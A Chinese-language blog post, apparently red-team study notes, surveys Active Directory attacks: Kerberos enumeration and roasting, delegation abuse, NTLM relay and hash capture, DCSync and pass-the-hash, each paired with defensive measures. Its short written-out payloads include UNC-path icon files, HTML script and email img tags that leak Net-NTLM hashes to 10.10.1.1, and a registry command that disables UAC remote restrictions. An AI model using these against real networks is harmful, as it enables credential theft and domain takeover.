Zumpyx's Blog

域环境攻击手法

adred-teamactive-directory

域内用户名枚举(Username Enum)

Kerberos 协议认证的 AS-REQ 阶段,请求包 cname 对应的值是用户名。当用户状态分别为用户存在且启用、用户存在但禁用、用户不存在时,AS-REP 包各不相同。因此可用以下工具枚举:

  • Kerbrute
  • pyKerbrute
  • MSF auxiliary/gather/kerberos_enumusers

防御手法

  • 流量层:检测同一 IP 段时间大量发送 AS-REQ(30+/min)

  • 日志层:组策略配置审核策略和高级审核策略,开启记录对不存在用户名发起的 AS-REQ 包的日志

密码喷洒攻击(Password Spraying)

对多个用户使用同一密码爆破,可以使用以下工具:

  • Kerbrute
  • pyKerbrute
  • DomainPasswordSparay.ps1

防御手法

  • 流量层:检测同一 IP 段时间大量发送 AS-REQ(30+/min)
  • 日志层:口令爆破成功时,会产生时间 ID 为 4768 且结果代码为 0x0 的审核成功的 Kerberos 身份验证服务事件日志。当爆破失败时,默认不记录任何日志
  • 设置强口令域密码

AS-REP Roasting 攻击

攻击前提:

  • 域用户勾选 “不要求 Kerberos 预身份验证”
  • 一台可以与 KDC 88 端口进行通讯的主机

AS-REP Roasting 攻击主要分为两步:

  1. 获取 AS-REP 响应包中用户 Hash 加密的 Login Session Key
  2. 对使用用户 Hash 加密的 Login Session Key 进行解密

对于域内机器,由于不需要预身份验证,所以 KDC 会直接返回 AS-REP 包,可以使用以下工具获取使用用户 Hash 加密的 Login Session Key:

  • Rebeus
  • ASREPRoast.ps1

对于非域内机器,需要拥有一个有效的域账户和密码,首先查询出域内勾选了 “不需要 Kerberos 预身份验证” 选项的账户,再使用 Impacket 下的 GetNPUsers.py 获取使用指定用户 Hash 加密的 Login Session Key,可以使用以下工具:

  • adfind
  • impacket

防御手法

  • 取消勾选 “不需要 Kerberos 预身份验证” 选项
  • 日志层:关注事件 ID 为 4768 且预身份验证类型为 0 的日志

Kerberoasting 攻击

在 Kerberos 协议的 TGS-REP 阶段,KDC 的TGS 服务返回一个由服务 Hash 加密的 ST 给客户端,因此客户端可以本地离线爆破,有可能获取 SPN 链接用户的明文密码

主要分为四步:

  1. 查询域内注册于域用户下的 SPN,可以使用以下工具:
    • RiskySPN
    • GetUserSPNs
    • PowerView.ps1
  2. 请求指定 SPN 的 ST,可以使用以下工具:
    • Impacket-GetUserSPNs
    • Rubeus
    • mimikatz
  3. 导出 ST,可以使用以下工具:
    • mimikatz
    • Empire
  4. 爆破 ST
    • kerberoast
    • tgscrack
    • hashcat -m 13100

防御手法

  • 确保服务账户和密码为强密码,定期修改
  • 配置 KDC 返回的 ST 强制使用 AES256_HMAC 方式对算法加密
  • 对域内服务账户权限进行限制,采取最小化权限原则
  • 日志层:关注事件 ID 为 4796(请求 Kerberos 服务票据操作)的日志,如果日志过多,可以筛选出票据加密类型为 0x17(RC4-HMAC)的日志
  • 定期使用 zBang 工具检测当前域内危险的 SPN

委派攻击

可以使用以下工具:

  • impacket
  • Powerview
  • StandIn
  • Rubeus
  • Mimikatz

非约束性委派攻击

img

约束性委派攻击

img

基于资源的约束性委派攻击

img

防御手法

  • 高权限的用户设置为不能被委派
  • 主机账户需要设置委派时,只能设置为约束委派
  • Windows 2012 R2 及更高版本的系统创建了受保护的用户组,该组内的用户不允许被委派,将需要被保护的服务账户加入该组即可

Kerberos Bronze Bit 漏洞

CVE-2020-17049

修复补丁:KB4586793-KB4598347…

Kerberos 协议缺陷

  • 绕过了 Protected Users 组内用户和设置了“敏感帐号,不能被委派”的安全措施
  • 绕过在设置约束性委派时勾选“仅使用 Kerberos” 选项,即无法进行协议转换

1、约束性委派攻击绕过

  • impacket-getST 添加参数 –force-forwardable

2、基于资源的约束性委派攻击绕过

  • impacket-getST 添加参数 –force-forwardable

Net-NTLM Relay 攻击

攻击发生在 NTLM 认证的第三步,在 Response 消息中存在 Net-NTLM Hash,当攻击者获得了 Net-NTLM Hash 后,可以重放 Net-NTLM Hash 进行中间人攻击。

因此,攻击分为两步:1、捕获 Net-NTLM Hash;2、重放 Net-NTLM Hash

捕获 Net-NTLM Hash

可以使用 Responder.py 来接受 NTLM 请求。

LLMNR 和 NBNS 协议

控制目标机器请求 Responder 的 SMB、HHTP 等服务

打印机漏洞

任何经过身份验证的域成员都可以连接到远程服务器的打印服务 spoolsv.exe,令其向制定目标进行身份验证。由于打印机是以 System 权限运行,因此可以访问打印机的 MS-RPRNRPC 接口,迫使打印机服务向指定机器发起请求,就能取得目标机器的 Net-NTLM Hash 了。

可以使用 printerbug.py 脚本触发 SpoolService Bug

PetitPotam

CVE-2021-36942

漏洞利用了微软加密文件系统远程访问协议(Microsoft Encrypting File System Remote Protocol,MS-EFSRPC),MS-EFSRPC 用于对远程存储和通过网络访问的加密数据执行维护和管理操作。利用 PetitPotam 可以连接 LSARPC 强制出发目标机器向指定远程服务器发送 Net-NTLM Hash

可以使用脚本 Petitpotam.py 触发目标机器发起 SMB 认证

图标

当图标的一些路径改成指定的 UNC 路径,就能受到目标机器发来的 NTLM 请求

  1. desktop.ini

    IconResource=\\10.10.1.1\a\b.dll

  2. .scf 扩展名文件

​ IconFile=\\10.10.1.1\a\b.dll

浏览器

对于网页中出现类似标签

<script src="\\10.10.1.1/a/b"></script>

IE 浏览器会直接发送当前账户 SMB 类型的 Net-NTLM Hash

Outlook

Outlook 支持发送 HTLM 格式的邮件,于是可以发送一下 payload

<p>邮件内容</p>
<img src="\\\\10.10.1.1\\test">

目标用户打开邮件后,Outlook 客户端就会自动向制定 UNC 路径进行认证,便可以接收到目标用户的 Net-NTLM Hash

系统命令
net.exe use \hostshare 
attrib.exe \hostshare
...
hwrreg.exe \hostshare
icacls.exe \hostshare
Office
PDF
WPAD (Web Proxy Auto-Discovery Protocol)

web 代理自动发现协议

重放 Net-NTLM Hash

获取到 Net-NTLM Hash 后有两种利用手法

  • 使用 Hashcat 破解
  • 中继 Hash
中继到 SMB 协议

是最简单直接的方法,可以控制该服务器执行任意命令。根据环境分为两种场景:

  1. 工作组

​ 工作组环境中,机器之间没有信任关系,除非两台机器的账户和密码相同,但是若相同可以直接 Hash 传递,但是可以中继到机器自身:

​ MS08-068 Relay To Self,微软在 KB957097 补丁中通过修改 SMB 身份验证答复的验证方式防止凭据重播

​ CVE-2019-1384 Ghost Potato,绕过了 KB957097 补丁限制,可以使用修补过的 ntlmrelayx.py

  1. 域环境

​ 域环境中,普通与用户默认可以登陆除域控以外的其他所有机器,因此可以中继域用户的 Net-NTLM Hash

​ Impacket-smbrelayx.py ​ Impacket-ntlmrelayx.py ​ Responder-MultiRelay.py

中继到 HTTP

很多 HTTP 服务也支持 NTLM 认证,因此可以中继到 HTTP

​ Exchange 认证 ntlmRelayToEWS.py

​ ADCS 注册接口

中继到 LDAP 协议
  • 从 HTTP 中继到 LDAP 是不需要签名的,例如:CVE-2018-8581
  • 从 SMB 协议中继到 LDAP 是需要签名的,例如:CVE-2019-1040 就是绕过了 NTLM 消息完整性校验

NTLM Relay 防御手法

  • 对 LDAP 进行安全加固

滥用 DCSync

​ 在域中,不同的域之间,默认每隔 15 min 会进行一次域数据同步,DCSync 利用此原理,通过目录复制服务(Directory Replication Service,DRS)的 GetNCChanges 接口向域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务是一种用于在活动目录中复制和管理数据的 RPC 协议,由两个 RPC 接口组成,分别为 drsuapi 和 dsaop

​ 在 DCSync 功能出现前,想要获取域用户的哈希等数据,需要登陆域控并在其上执行操作才能获取,2015年8月,新版 mimikatz 增加了 DCSync 功能,有效的模拟了一个域控

默认情况下,不允许从只读域控上获取数据

DCSync 工作原理:

1. 在网络中发现域控
1. 利用目录复制服务的 GetNCChanges 接口向域控发起数据同步请求

具有 DCSync 权限的用户

- Administrators 组内用户
- Domain Admins 组内用户
- Enterprise Admins 组内用户

​ 可以使用 Adfind.exe 查找

修改 DCSync 的 ACL,向普通用户加入两条 ACE:

  1. DS-Replication-Get-Changes:复制目录更改权限,rightsGUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  2. DS-Replication-Get-Changes-All:复制目录更改所有项权限,rightsGUID为:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  3. 某些环境需要 Replicating Directory Changes In Filtered Set(复制筛选集中的目录更改权限)
  • 可以使用图形化添加:Active Directory 用户和计算机 -> 查看 -> 高级功能 -> 找到域名 -> 右击属性 -> 单击安全选项卡的高级按钮

  • Powershell 脚本 powerview 赋权

DCSync 攻击

当拿到了具有 DCSync 权限的用户时,可以利用以下工具进行 DCSync 攻击

  1. Impacket-secretsdump.py
  2. mimikatz
  3. PowerShell Incoke-DCSync.ps1
利用 DCSync 获取明文凭据

如果账户勾选了“使用可逆加密存储密码”属性,用户再次更改密码会现实其密码明文。

DCSync 攻击防御

  • 只允许指定白名单内的域控 IP 请求数据同步
  • 清理 DCSync ACL 滥用

PTH

禁用 UAC 远程链接限制:

# 管理员组的用户远程连接时获取一个具有管理员权限的令牌
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Hash 碰撞

  • CrackMapExec
  • MSF-exploit/windows/smb/psexec

利用 PTH 横向移动

  • mimikatz
  • impacket-psexec.py、smbexec.py、wmiexec.py
  • MSF

KB2871997 补丁影响

补丁对域环境中的敏感用户的 PTH 有缓解作用,但是对非 Protected Users 组用户并不能缓解

PTH 防御手法

  • 禁止本里管理员远程 PTH
  • 监控注册表,防止管理员组可以远程获取管理员权限
  • 设置“拒绝从网络访问此计算机”和“拒绝通过远程桌面服务登陆”
  • 将域内敏感用户加入 Protected Users 组

定位用户登陆的主机

注册表查询

当用户登陆了某台主机,在该主机的 HKEY_USERS 注册表内有该用户的文件夹

也可以使用 AdFind.exe -f “objectSid=S-1-5-21-………” -dn 来查看

通过当前登陆的用户查看
  • Psloggedon
  • PVEFindADUser

域控日志查询

  • SharpADUserIP
  • PowerShell

域林渗透

查询域控

查询域管理员和企业管理员

查询所有域用户

查询所有域主机

跨域横向攻击

  1. 获取子域域控权限
  2. 黄金票据 + SID History 获取林根域权限
  3. Inter-realm Key + SID History 获得林根域权限

林根域防御手法

  1. SID 过滤,避免攻击者利用 SID History 属性进行权限提升
  2. 禁用 SID History